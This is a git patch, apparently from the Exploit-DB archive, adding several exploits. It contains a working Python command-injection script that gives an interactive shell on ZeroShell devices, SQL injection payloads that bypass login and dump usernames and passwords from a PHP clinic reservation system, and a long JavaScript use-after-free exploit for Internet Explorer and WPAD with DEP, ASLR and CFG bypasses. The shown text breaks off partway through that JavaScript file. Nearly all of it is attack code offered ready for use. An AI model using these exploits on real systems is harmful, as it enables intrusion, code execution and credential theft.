From 18260aa372a05e97376f6b7c986346a77154e74d Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Fri, 14 May 2021 05:01:57 +0000 Subject: [PATCH] DB: 2021-05-14 5 changes to exploits/shellcodes Microsoft Internet Explorer 8/11 and WPAD service 'Jscript.dll' - Use-After-Free Firefox 72 IonMonkey - JIT Type Confusion Dental Clinic Appointment Reservation System 1.0 - Authentication Bypass (SQLi) Dental Clinic Appointment Reservation System 1.0 - 'date' UNION based SQL Injection (Authenticated) ZeroShell 3.9.0 - Remote Command Execution --- exploits/linux/webapps/49862.py | 59 ++ exploits/php/webapps/49860.txt | 35 + exploits/php/webapps/49861.txt | 34 + exploits/windows_x86-64/local/49863.js | 1213 ++++++++++++++++++++++++ exploits/windows_x86-64/local/49864.js | 774 +++++++++++++++ files_exploits.csv | 5 + 6 files changed, 2120 insertions(+) create mode 100755 exploits/linux/webapps/49862.py create mode 100644 exploits/php/webapps/49860.txt create mode 100644 exploits/php/webapps/49861.txt create mode 100644 exploits/windows_x86-64/local/49863.js create mode 100644 exploits/windows_x86-64/local/49864.js diff --git a/exploits/linux/webapps/49862.py b/exploits/linux/webapps/49862.py new file mode 100755 index 000000000..6bb1787b7 --- /dev/null +++ b/exploits/linux/webapps/49862.py @@ -0,0 +1,59 @@ +# Exploit Title: ZeroShell 3.9.0 - Remote Command Execution +# Date: 10/05/2021 +# Exploit Author: Fellipe Oliveira +# Vendor Homepage: https://zeroshell.org/ +# Software Link: https://zeroshell.org/download/ +# Version: < 3.9.0 +# Tested on: ZeroShell 3.9.0 +# CVE : CVE-2019-12725 + +#!/usr/bin/python3 + +import requests +import optparse +import time + +parser = optparse.OptionParser() +parser.add_option('-u', '--url', action="store", dest="url", help='Base target uri (ex. http://target-uri/)') + +options, args = parser.parse_args() +if not options.url: + print('[+] Specify an url target') + print('[+] Example usage: exploit.py -u http://target-uri/') + print('[+] Example help usage: exploit.py -h') + exit() + +uri_zeroshell = options.url +session = requests.Session() + +def command(): + try: + check = session.get(uri_zeroshell + "/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0Aid%0A'") + if check.status_code == 200: + flag = True + print('[+] ZeroShell 3.9.0 Remote Command Execution') + time.sleep(1) + print('[+] Success connect to target') + time.sleep(1) + print('[+] Trying to execute command in ZeroShell OS...\n') + time.sleep(1) + check.raise_for_status() + + while flag: + cmd = raw_input("$ ") + payload = "/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A" + cmd + "%0A'" + uri_vuln = uri_zeroshell + payload + burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"} + res = session.get(uri_vuln, headers=burp0_headers, verify=False) + print(res.text[:res.text.rindex("") / 2]) + + except requests.exceptions.ConnectionError as err: + print('[x] Failed to Connect in: '+uri_zeroshell+' ') + print('[x] This host seems to be Down') + exit() + except requests.exceptions.HTTPError as conn: + print('[x] Failed to execute command in: '+uri_zeroshell+' ') + print('[x] This host does not appear to be a ZeroShell') + exit() + +command() \ No newline at end of file diff --git a/exploits/php/webapps/49860.txt b/exploits/php/webapps/49860.txt new file mode 100644 index 000000000..55d8b0719 --- /dev/null +++ b/exploits/php/webapps/49860.txt @@ -0,0 +1,35 @@ +# Exploit Title: Dental Clinic Appointment Reservation System 1.0 - Authentication Bypass (SQLi) +# Date: 12.05.2021 +# Exploit Author: Mesut Cetin +# Vendor Homepage: https://www.sourcecodester.com/php/6848/appointment-reservation-system.html +# Software Link: https://www.sourcecodester.com/download-code?nid=6848&title=Dental+Clinic+Appointment+Reservation+System+in+PHP+with+Source+Code +# Version: 1.0 +# Tested on: Ubuntu 18.04 TLS + +# Description: +# Attacker can bypass admin login page due to unsanitized user input and access internal contents +# vulnerable code in /admin/index.php, line 34: +$query = "SELECT * FROM users WHERE username='$username' AND password='$password'"; +# payload: admin' or '1' = '1 -- - + +# Proof of concept: +http://localhost/admin/index.php + +POST /admin/index.php HTTP/1.1 +Host: localhost +Content-Length: 54 +Cache-Control: max-age=0 +Upgrade-Insecure-Requests: 1 +Origin: http://localhost +Content-Type: application/x-www-form-urlencoded +User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; E6653 Build/32.2.A.0.253) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.98 Mobile Safari/537.36 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 +Referer: http://localhost/admin/index.php +Accept-Encoding: gzip, deflate +Accept-Language: en-US,en;q=0.9 +Cookie: PHPSESSID=3cjdtku76ggasqei49gng91p3p +dnt: 1 +sec-gpc: 1 +Connection: close + +username=admin'+or+'1'%3d1+--+-&password=test&submit= \ No newline at end of file diff --git a/exploits/php/webapps/49861.txt b/exploits/php/webapps/49861.txt new file mode 100644 index 000000000..055a807b8 --- /dev/null +++ b/exploits/php/webapps/49861.txt @@ -0,0 +1,34 @@ +# Exploit Title: Dental Clinic Appointment Reservation System 1.0 - 'date' UNION based SQL Injection (Authenticated) +# Date: 12.05.2021 +# Exploit Author: Mesut Cetin +# Vendor Homepage: https://www.sourcecodester.com/php/6848/appointment-reservation-system.html +# Software Link: https://www.sourcecodester.com/download-code?nid=6848&title=Dental+Clinic+Appointment+Reservation+System+in+PHP+with+Source+Code +# Version: 1.0 +# Tested on: Ubuntu 18.04 TLS + +# Description: +# the 'date' POST parameter is vulnerable to UNION-based SQL Injection +# Attacker can use it to retrieve sensitive data like usernames, passwords, versions, etc. +# payload: ' UNION SELECT NULL,NULL,@@version,username,password,NULL FROM users -- - + +# Proof of concept: +http://localhost/admin/sort_date.php + +POST /admin/sort_date.php HTTP/1.1 +Host: localhost +Content-Length: 84 +Cache-Control: max-age=0 +Upgrade-Insecure-Requests: 1 +Origin: http://localhost +Content-Type: application/x-www-form-urlencoded +User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 +Referer: http://localhost/admin/sort_date.php +Accept-Encoding: gzip, deflate +Accept-Language: en-US,en;q=0.9 +Cookie: PHPSESSID=3cjdtku76ggasqei49gng91p3p +dnt: 1 +sec-gpc: 1 +Connection: close + +date='+UNION+SELECT+NULL,NULL,@@version,username,password,NULL+FROM+users+--+-&sort= \ No newline at end of file diff --git a/exploits/windows_x86-64/local/49863.js b/exploits/windows_x86-64/local/49863.js new file mode 100644 index 000000000..2f787e3ae --- /dev/null +++ b/exploits/windows_x86-64/local/49863.js @@ -0,0 +1,1213 @@ +# Exploit Title: Microsoft Internet Explorer 8/11 and WPAD service 'Jscript.dll' - Use-After-Free +# Date: 2021-05-04 +# Exploit Author: deadlock (Forrest Orr) +# Vendor Homepage: https://www.microsoft.com/ +# Software Link: https://www.microsoft.com/en-gb/download/internet-explorer.aspx +# Versions: IE 8-11 (64-bit) as well as the WPAD service (64-bit) on Windows 7 and 8.1 x64 +# Tested on: Windows 7 x64, Windows 8.1 x64 +# CVE: CVE-2020-0674 +# Bypasses: DEP, ASLR, CFG +# Original (IE-only/Windows 7-only) exploit credits: maxpl0it +# Full explain chain writeup: https://github.com/forrest-orr/DoubleStar + +/* +________ ___. .__ _________ __ +\______ \ ____ __ __\_ |__ | | ____ / _____/_/ |_ _____ _______ + | | \ / _ \ | | \| __ \ | | _/ __ \ \_____ \ \ __\\__ \ \_ __ \ + | ` \( <_> )| | /| \_\ \| |__\ ___/ / \ | | / __ \_| | \/ +/_______ / \____/ |____/ |___ /|____/ \___ > /_______ / |__| (____ /|__| + \/ \/ \/ \/ \/ +Windows 8.1 IE/Firefox RCE -> Sandbox Escape -> SYSTEM EoP Exploit Chain + + ______________ + | Remote PAC | + |____________| + ^ + | HTTPS +_______________ RPC/ALPC _______________ RPC/ALPC _______________ +| firefox.exe | ----------> | svchost.exe | -----------> | spoolsv.exe | +|_____________| |_____________| <----------- |_____________| + | RPC/Pipe + | + _______________ | + | malware.exe | <---| Execute impersonating NT AUTHORY\SYSTEM + |_____________| + +~ + +Component + +JavaScript file containing CVE-2020-0674 UAF targetting IE8/11 and WPAD 64-bit +on Windows 7 and 8.1 x64. It may be used as an alternative RCE attack vector in +the exploit chain (in which case it should be used in conjunction with the +stage two WPAD sandbox escape shellcode), as a PAC file (see settings) or a +stand-alone IE8/11 64-bit exploit. Note that if used as the initial RCE in the +full exploit chain, Windows 7 is unsupported by the required stage two WPAD +sandbox escape shellcode. + +________________ CVE-2020-0674 _______________________ RPC/ALPC _______________ +| iexplore.exe | -------------> | WPAD sandbox escape | ----------> | svchost.exe | +|______________| | shellcode (heap) | |_____________| + |_____________________| + +~ + +Overview + +This is a 64-bit adaptation of CVE-2020-0674 which can exploit both IE8/11 +64-bit as well as the WPAD service on Windows 7 and 8.1 x64. It has bypasses +for DEP, ASLR, and CFG. It uses dynamic ROP chain creation for its RIP +hijack and stack pivot. Notably, this exploit does not contain bypasses for +Windows Exploit Guard or EMET 5.5 and does not work on IE11 or WPAD in +Windows 10. + +~ + +Design + +The UAF is a result of two untracked variables passed to a comparator for the +Array.sort method, which can then be used to reference VAR structs within +allocated GcBlock regions which can subsequently be freed via garbage +collection. Control of the memory of VAR structs with active JS var +references in the runtime script is then used for arbitrary read (via BSTR) +and addrof primitives. + +Ultimately the exploit aims to use KERNEL32.DLL!VirtualProtect to disable DEP +on a user defined shellcode stored within a BSTR on the heap. This is achieved +through use of NTDLL.DLL!NtContinue, an artificial stack (built on the heap) +and a dynamically resolved stack pivot ROP gadget. + +NTDLL.DLL!NtContinue --------------------> RIP = | MOV RSP, R11; RET + RCX = Shellcode address + RDX = Shellcode size + R8 = 0x40 + R9 = Leaked address of BSTR to hold out param + RSP = Real stack pointer + R11 = Artificial stack +|-----------------------------| ^ +| 2MB stack space (heap) | | +|-----------------------------| | +| Heap header/BSTR len align | | +|-----------------------------| | +| KERNEL32.DLL!VirtualProtect | <----------| +|-----------------------------| +| Shellcode return address ] +|-----------------------------| + +The logic flow is: +1. A fake object with a fake vtable is constructed containing the address + of NTDLL.DLL!NtContinue as its "typeof" method pointer. This primitive + is used for RIP hijack in conjunction with a pointer to a specially + crafted CONTEXT structure in RCX as its parameter. +2. NtContinue changes RIP to a stack pivot gadget and sets up the parameters + to KERNEL32.DLL!VirtualProtect. +3. The address of VirtualProtect is the first return address to be + consumed on the new (artificial) stack after the stack pivot. +4. VirtualProtect disables DEP on the shellcode region and returns to that + same (now +RWX) shellcode address stored as the second return address on + the pivoted stack. + +Notably, the stack pivot was needed here due to the presence of CFG on +Windows 8.1, which prevents NtContinue from being used to change RSP to an +address which falls outside the stack start/end addresses specified in the +TEB. On Windows 7 this is a non-issue. Furthermore, it required a leak of RSP +to be planted in the CONTEXT structure so that NtContinue would consider its +new RSP valid. + +The exploit will not work on Windows 10 due to enhanced protection by CFG: +Windows 10 has blacklisted NTDLL.DLL!NtContinue to CFG by default. + +~ + +Credits + +maxpl0it - for doing the original analysis and PoC for CVE-2020-0674 + on IE8/11 on Windows 7 x64. + +HackSys Team - for tips on the WPAD service and low level JS debugging. + +*/ + +//////// +//////// +// Global settings +//////// + +var PayloadType = "shellcode"; // Can be "shellcode" or "winexec" +var CommandStr = "\u3a63\u775c\u6e69\u6f64\u7377\u6e5c\u746f\u7065\u6461\u652e\u6578"; // The ASCII string to be executed via WinExec if the relevant payload type is selected - C:\Windows\notepad.exe +var WindowsVersion = 8.1; // Can be 8.1 or 7. Only the 64-bit versions of these OS are supported. +var PacFile = false; +var EnableDebug = false; +var EnableTimers = false; +var AlertOutput = false; + +//////// +//////// +// Stack-sensitive array initialization logic +//////// + +var SortArray = new Array(); // Initializing this locally rather than globally causes stack issues, particularly in regards to WPAD. +for(var i = 0; i <= 150; i++) SortArray[i] = [0, 0]; // An array of arrays to be sorted by glitched sort comparator + +//////// +//////// +// Debug/timer code +//////// + +var TimeStart; +var ReadCount; +var ScriptTimeStart = new Date().getTime(); + +function StartTimer() { + ReadCount = 0; + TimeStart = new Date().getTime(); +} + +function EndTimer(Message) { + var TotalTime = (new Date().getTime() - TimeStart); + + if(EnableTimers) { + if(AlertOutput) { + alert("TIME ... " + Message + " time elapsed: " + TotalTime.toString(10) + " read count: " + ReadCount.toString(10)); + } + else { + console.log("TIME ... " + Message + " time elapsed: " + TotalTime.toString(10) + " read count: " + ReadCount.toString(10)); + } + } +} + +function DebugLog(Message) { + if(EnableDebug) { // When debug is enabled the distinction between "stack overflow" and "out of memory" errors are lost: console always determines there to be an "out of memory" condition even though this only sppears after scoping of SortDepth is changed. + if(AlertOutput) { + alert(Message); + } + else { + console.log(Message); // In IE, console only works if devtools is open. + } + } +} + +//////// +//////// +// UAF/untracked variable creation code +//////// + +var UntrackedVarSet; +var VarSpray; +var VarSprayCount = 20000; // 200 GcBlocks +var NameListAnchors; +var NameListAnchorCount = 0; // The larger this number the more reliable the exploit on Windows 8.1 where LFH cannot easily re-claim +var SortDepth = 0; + +function GlitchedComparator(Untracked1, Untracked2) { + Untracked1 = VarSpray[SortDepth*2]; + Untracked2 = VarSpray[SortDepth*2 + 1]; + + if(SortDepth >= 150) { + VarSpray = new Array(); // Erase references to sprayed vars within GcBlocks + CollectGarbage(); // Free the GcBlocks + UntrackedVarSet.push(Untracked1); + UntrackedVarSet.push(Untracked2); + } + else { + SortDepth += 1; + + // There is a difference between the stack size between WPAD and Internet Explorer. In IE, a stack overflow exception will occur around depth 250 however in WPAD it will occur on a depth of less than 150, ensuring a stack overflow exception/alert will be thrown in the exploit. This try/catch in conjunction with a global initialization of the sort array allows the depth to be sufficient to produce an untracked var which will overlap with the type confusion offset in the re-claimed GcBlock. + + try { + SortArray[SortDepth].sort(GlitchedComparator); + } + catch(ex) { + VarSpray = new Array(); // Erase references to sprayed vars within GcBlocks + CollectGarbage(); // Free the GcBlocks + } + + UntrackedVarSet.push(Untracked1); + UntrackedVarSet.push(Untracked2); + } + + return 0; +} + +function NewUntrackedVarSet() { + SortDepth = 0; + VarSpray = new Array(); + NameListAnchors = new Array(); + UntrackedVarSet = new Array(); + for(var i = 0; i < NameListAnchorCount; i++) NameListAnchors[i] = new Object(); // Overlay must happen before var spray + for(var i = 0; i < VarSprayCount; i++) VarSpray[i] = new Object(); + CollectGarbage(); + SortArray[0].sort(GlitchedComparator); // Two untracked vars will be passed to this method by the JS engine +} + +//////// +//////// +// UAF re-claim/mutable variable code (used for arbitrary read) +//////// + +var AnchorObjectsBackup; +var LeakedAnchorIndex = -1; +var SizerPropName = Array(570).join('A'); +var MutableVar; +var ReClaimNameList; +var InitialReClaim = true; + +function ReClaimIndexNameList(Value, PropertyName) { + CollectGarbage(); // Cleanup - note that removing this has not damaged stability of the exploit in any of my own tests and its removal significantly improved exploit performance (each arbitrary read is about twice as fast). I've left it here from maxspl0it's original version of the exploit to ensure stability. + AnchorObjectsBackup[LeakedAnchorIndex] = null; // Delete the anchor associated with the leaked NameList allocation + CollectGarbage(); // Free the leaked NameList + AnchorObjectsBackup[LeakedAnchorIndex] = new Object(); + AnchorObjectsBackup[LeakedAnchorIndex][SizerPropName] = 1; // 0x239 property name size for 0x970 NameList allocation size + AnchorObjectsBackup[LeakedAnchorIndex]["BBBBBBBBBBB"] = 1; // 11*2 = 22 in 64-bit, 9*2 = 18 bytes in 32-bit + AnchorObjectsBackup[LeakedAnchorIndex]["\u0005"] = 1; + AnchorObjectsBackup[LeakedAnchorIndex][PropertyName] = Value; // The mutable variable + ReadCount++; +} + +function ReClaimBackupNameLists(Value, PropertyName) { + var PrecisionReClaimAllocCount = 500; // This is the number of re-claim attempts that are needed for a precision re-claim of a single freed region, not hundreds such as in the case of the GcBlock/type confusion re-claims. On IE8/11 300 is plenty, on WPAD 500 seems to be more stable. + CollectGarbage(); // Cleanup + + if(InitialReClaim) { + AnchorObjectsBackup[LeakedAnchorIndex] = null; + InitialReClaim = false; + PrecisionReClaimAllocCount -= 1; + AnchorObjectsBackup[LeakedAnchorIndex] = new Object(); // Clog the index + } + + for(var i = 0; i < PrecisionReClaimAllocCount; i++) { + if(i != LeakedAnchorIndex) AnchorObjectsBackup[i] = null; + } + + CollectGarbage(); // Free the leaked NameList + + for(var i = 0; i < PrecisionReClaimAllocCount; i++) { + if(i != LeakedAnchorIndex) AnchorObjectsBackup[i] = new Object(); + AnchorObjectsBackup[i][SizerPropName] = 1; // 0x239 property name size for 0x970 NameList allocation size + AnchorObjectsBackup[i]["BBBBBBBBBBB"] = 1; // 11*2 = 22 in 64-bit, 9*2 = 18 bytes in 32-bit + AnchorObjectsBackup[i]["\u0005"] = 1; + AnchorObjectsBackup[i][PropertyName] = Value; // The mutable variable + } + + ReadCount++; +} + +function CreateVar64(Type, ObjPtrLow, ObjPtrHigh, NextPtrLow, NextPtrHigh) { + var CharCodes = new Array(); + + CharCodes.push( + // Type + Type, 0, 0, 0, + // Object pointer + ObjPtrLow & 0xffff, (ObjPtrLow >> 16) & 0xffff, ObjPtrHigh & 0xffff, (ObjPtrHigh >> 16) & 0xffff, + // Next pointer + NextPtrLow & 0xffff, (NextPtrLow >> 16) & 0xffff, NextPtrHigh & 0xffff, (NextPtrHigh >> 16) & 0xffff); + + return String.fromCharCode.apply(null, CharCodes); +} + +function LeakByte64(Address) { + ReClaimNameList(0, CreateVar64(0x8, Address.low + 2, Address.high, 0, 0)); // +2 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field) + return (MutableVar.length >> 15) & 0xff; // Shift to align and get the byte. +} + +function LeakWord64(Address) { + ReClaimNameList(0, CreateVar64(0x8, Address.low + 2, Address.high, 0, 0)); // +2 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field) + return ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8); +} + +function LeakDword64(Address) { + ReClaimNameList(0, CreateVar64(0x8, Address.low + 2, Address.high, 0, 0)); // +2 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field) + var LowWord = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8); + ReClaimNameList(0, CreateVar64(0x8, Address.low + 4, Address.high, 0, 0)); // +4 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field) + var HighWord = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8); + return LowWord + (HighWord << 16); +} + +function LeakQword64(Address) { + ReClaimNameList(0, CreateVar64(0x8, Address.low + 2, Address.high, 0, 0)); + var LowLow = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8); + ReClaimNameList(0, CreateVar64(0x8, Address.low + 4, Address.high, 0, 0)); + var LowHigh = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8); + ReClaimNameList(0, CreateVar64(0x8, Address.low + 6, Address.high, 0, 0)); + var HighLow = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8); + ReClaimNameList(0, CreateVar64(0x8, Address.low + 8, Address.high, 0, 0)); + var HighHigh = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8); + return MakeQword(HighLow + (HighHigh << 16), LowLow + (LowHigh << 16)); +} + +function LeakObjectAddress64(ObjVarAddress, ObjVarValue) { // This function does not always work, there are some edge cases. For example if a BSTR is declared var A = "123"; it works fine. However, var A = "1"; A += "23"; resuls in multiple layers of VARs referencing VARs and this function will no longer get the actual BSTR address. + ReClaimNameList(ObjVarValue, CreateVar64(0x8, ObjVarAddress.low + 8 + 2, ObjVarAddress.high, 0, 0)); + var LowLow = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8); + ReClaimNameList(ObjVarValue, CreateVar64(0x8, ObjVarAddress.low + 8 + 4, ObjVarAddress.high, 0, 0)); + var LowHigh = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8); + ReClaimNameList(ObjVarValue, CreateVar64(0x8, ObjVarAddress.low + 8 + 6, ObjVarAddress.high, 0, 0)); + var HighLow = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8); + ReClaimNameList(ObjVarValue, CreateVar64(0x8, ObjVarAddress.low + 8 + 8, ObjVarAddress.high, 0, 0)); + var HighHigh = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8); + var DerefObjVarAddress = MakeQword(HighLow + (HighHigh << 16), LowLow + (LowHigh << 16) + 8); + return LeakQword64(DerefObjVarAddress); // The concept here is to turn the property name (the mutable var) into a BSTR VAR pointing at its own VVAL (which starts with another, real VAR). The real VAR can be set dynamically to the address of the desired object. So there are two stages: first to read the object pointer out of the VAR within the final VVAL, and then to leak the object pointer of the VAR it is pointing to (skipping +8 over its Type field) +} + +//////// +//////// +// PE parsing/EAT and IAT resolution code +//////// + +function ResolveExport64(ModuleBase, TargetExportNameTable) { + var FileHdrRva = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + 0x3c)); + var EATRva = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + FileHdrRva + 0x88)); + + if(EATRva) { + var TotalExports = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + EATRva + 0x14)); + var AddressRvas = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + EATRva + 0x1C)); + var NameRvas = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + EATRva + 0x20)); + var OrdinalRvas = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + EATRva + 0x24)); + var MaxIndex = TotalExports; + var MinIndex = 0; + var CurrentIndex = Math.floor(TotalExports / 2); + var TargetTableIndex = 0; + var BinRes = 0; + var TrailingNullWord = false; + + if((TargetExportNameTable[TargetExportNameTable.length - 1] & 0xFFFFFF00) == 0) { + TrailingNullWord = true; + } + + while(TotalExports) { + var CurrentNameRva = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + NameRvas + 4*CurrentIndex)); + + while (TargetTableIndex < TargetExportNameTable.length) { + var CurrentNameWord = LeakWord64(MakeQword(ModuleBase.high, ModuleBase.low + (CurrentNameRva + (4 * TargetTableIndex)))); + var TargetExportNameWord = (TargetExportNameTable[TargetTableIndex] & 0x0000FFFF); + var SanitizedCurrentNameWord = NullSanitizeWord(CurrentNameWord); + var FinalTableIndex = false; + + if((TargetTableIndex + 1) >= TargetExportNameTable.length) { + FinalTableIndex = true; + } + + BinRes = BinaryCmp(TargetExportNameWord, SanitizedCurrentNameWord); + + if(!BinRes) { + TargetExportNameWord = ((TargetExportNameTable[TargetTableIndex] & 0xFFFF0000) >> 16); + CurrentNameWord = LeakWord64(MakeQword(ModuleBase.high, ModuleBase.low + (CurrentNameRva + (4 * TargetTableIndex)) + 2)); + SanitizedCurrentNameWord = NullSanitizeWord(CurrentNameWord); + + if(TrailingNullWord && FinalTableIndex) { + var Ordinal = LeakWord64(MakeQword(ModuleBase.high, ModuleBase.low + OrdinalRvas + 2*CurrentIndex)); + var MainExport = MakeQword(ModuleBase.high, ModuleBase.low + LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + AddressRvas + 4*Ordinal))); + return MainExport; + } + + BinRes = BinaryCmp(TargetExportNameWord, SanitizedCurrentNameWord); + + if(!BinRes) { + if(FinalTableIndex) { + var Ordinal = LeakWord64(MakeQword(ModuleBase.high, ModuleBase.low + OrdinalRvas + 2*CurrentIndex)); + var MainExport = MakeQword(ModuleBase.high, ModuleBase.low + LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + AddressRvas + 4*Ordinal))); + return MainExport; + } + + TargetTableIndex++; + } + else { + TargetTableIndex = 0; + break; + } + } + else { + TargetTableIndex = 0; + break; + } + } + + if(BinRes == 1) { // Target is greater than what it was compared to: reduce current index + if(MaxIndex == CurrentIndex) { + DebugLog("Failed to find export: index hit max"); + break; + } + + MaxIndex = CurrentIndex; + CurrentIndex = Math.floor((CurrentIndex + MinIndex) / 2); + } + else if (BinRes == -1) { // Target is less than what it was compared to: enhance current index + if(MinIndex == CurrentIndex) { + DebugLog("Failed to find export: index hit min"); + break; + } + + MinIndex = CurrentIndex; + CurrentIndex = Math.floor((CurrentIndex + MaxIndex) / 2); + } + + if(CurrentIndex == MaxIndex && CurrentIndex == MinIndex) { + DebugLog("Failed to find export: current, min and max indexes are all equal"); + break; + } + } + } + + return MakeQword(0, 0); +} + +function SelectRandomImport64(ModuleBase, TargetModuleNameTable) { // Grab the first IAT entry of a function within the specified module + var ExtractedAddresss = MakeQword(0, 0); + var FileHdrRva = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + 0x3c)); + var ImportDataDirAddress = MakeQword(ModuleBase.high, ModuleBase.low + FileHdrRva + 0x90); // Import data directory + var ImportRva = LeakDword64(ImportDataDirAddress); + var ImportSize = LeakDword64(MakeQword(ImportDataDirAddress.high, ImportDataDirAddress.low + 0x4)); // Get the size field of the import data dir + var DescriptorAddress = MakeQword(ModuleBase.high, ModuleBase.low + ImportRva); + + while(ImportSize != 0) { + var NameRva = LeakDword64(MakeQword(DescriptorAddress.high, DescriptorAddress.low + 0xc)); // 0xc is the offset to the module name pointer + + if(NameRva != 0) { + if(StrcmpLeak64(TargetModuleNameTable, MakeQword(ModuleBase.high, ModuleBase.low + NameRva))) { + var ThunkRva = LeakDword64(MakeQword(DescriptorAddress.high, DescriptorAddress.low + 0x10)); + ExtractedAddresss = LeakQword64(MakeQword(ModuleBase.high, ModuleBase.low + ThunkRva + 0x18)); // +0x18 (4 thunks forwarded) since __imp___C_specific_handler can cause issues when imported in some jscript instances, and similarly on Windows 10 the 2nd import is ResolveDelayLoadedAPI which is forwarded to NTDLL.DLL. + break; + } + + ImportSize -= 0x14; + DescriptorAddress.low += 0x14; // Next import descriptor in array + } + else { + break; + } + } + + return ExtractedAddresss; +} + +function DiveModuleBase64(Address) { + Address.low = (Address.low & 0xFFFF0000) + 0x4e; // Offset of "This program cannot be run in DOS mode" in PE header. + + while(true) { + if(LeakWord64(Address) == 0x6854) { // 'hT' + if(LeakWord64(MakeQword(Address.high, Address.low + 2)) == 0x7369) { // 'si' + return MakeQword(Address.high, Address.low - 0x4e); + } + } + + Address.low -= 0x10000; + } + + return MakeQword(0, 0); +} + +function BaseFromImports64(ModuleBase, TargetModuleNameTable) { + var RandomImportAddress = SelectRandomImport64(ModuleBase, TargetModuleNameTable); + + if(RandomImportAddress.low || RandomImportAddress.high) { + return DiveModuleBase64(RandomImportAddress); + } + + return MakeQword(0, 0); +} + +//////// +//////// +// Misc. helper functions +//////// + +function NullSanitizeWord(StrWord) { + var Sanitized = 0; + + if(StrWord != 0) { + if((StrWord & 0x00FF) == 0) { + Sanitized = 0; // First byte is NULL, end of the string. + } + else { + Sanitized = StrWord; + } + } + + return Sanitized; +} + +function BinaryCmp(TargetNum, CmpNum) { // return -1 for TargetNum being greater, 0 for equal, 1 for CmpNum being greater + if(TargetNum == CmpNum) { + return 0; + } + + while(true) { + if((TargetNum & 0xff) > (CmpNum & 0xff)) { + return -1; + } + else if((TargetNum & 0xff) < (CmpNum & 0xff)) { + return 1; + } + + TargetNum = TargetNum >> 8; + CmpNum = CmpNum >> 8; + } +} + +function DwordToUnicode(Dword) { + var Unicode = String.fromCharCode(Dword & 0xFFFF); + Unicode += String.fromCharCode(Dword >> 16); + return Unicode; +} + +function QwordToUnicode(Value) { + return String.fromCharCode.apply(null, [Value.low & 0xffff, (Value.low >> 16) & 0xffff, Value.high & 0xffff, (Value.high >> 16) & 0xffff]); +} + +function TableToUnicode(Table) { + var Unicode = ""; + + for(var i = 0; i < Table.length; i++) { + Unicode += DwordToUnicode(Table[i]); + } + + return Unicode; +} + +function DwordArrayToBytes(DwordArray) { + var ByteArray = []; + + for(var i = 0; i < DwordArray.length; i++) { + ByteArray.push(DwordArray[i] & 0xffff); + ByteArray.push((DwordArray[i] & 0xffff0000) >> 16); + } + + return String.fromCharCode.apply(null, ByteArray); +} + +function StrcmpLeak64(StrDwordTable, LeakAddress) { // Compare two strings between an array of WORDs and a string at a memory address + var TargetTableIndex = 0; + + while (TargetTableIndex < StrDwordTable.length) { + var LeakStrWord = LeakWord64(MakeQword(LeakAddress.high, LeakAddress.low + (4 * TargetTableIndex))); + var SanitizedStrWord = NullSanitizeWord(LeakStrWord); + var TableWord = (StrDwordTable[TargetTableIndex] & 0x0000FFFF); + + if(TableWord == SanitizedStrWord) { + LeakStrWord = LeakWord64(MakeQword(LeakAddress.high, LeakAddress.low + (4 * TargetTableIndex) + 2)); + SanitizedStrWord = NullSanitizeWord(LeakStrWord); + TableWord = ((StrDwordTable[TargetTableIndex] & 0xFFFF0000) >> 16); + + if(TableWord == SanitizedStrWord) { + if((TargetTableIndex + 1) >= StrDwordTable.length) { + return true; + } + + TargetTableIndex++; + } + else { + break; + } + } + else { + break; + } + } + + return false; +} + +function MakeDouble(High, Low) { + return Int52ToDouble(QwordToInt52(High, Low)); +} + +function QwordToInt52(High, Low) { + // Sanity check via range. Not all QWORDs are going to be valid 52-bit integers that can be converted to doubles + + if ((Low !== Low|0) && (Low !== (Low|0)+4294967296)) { + DebugLog ("Low out of range: 0x" + Low.toString(16)); + } + + if (High !== High|0 && High >= 1048576) { + DebugLog ("High out of range: 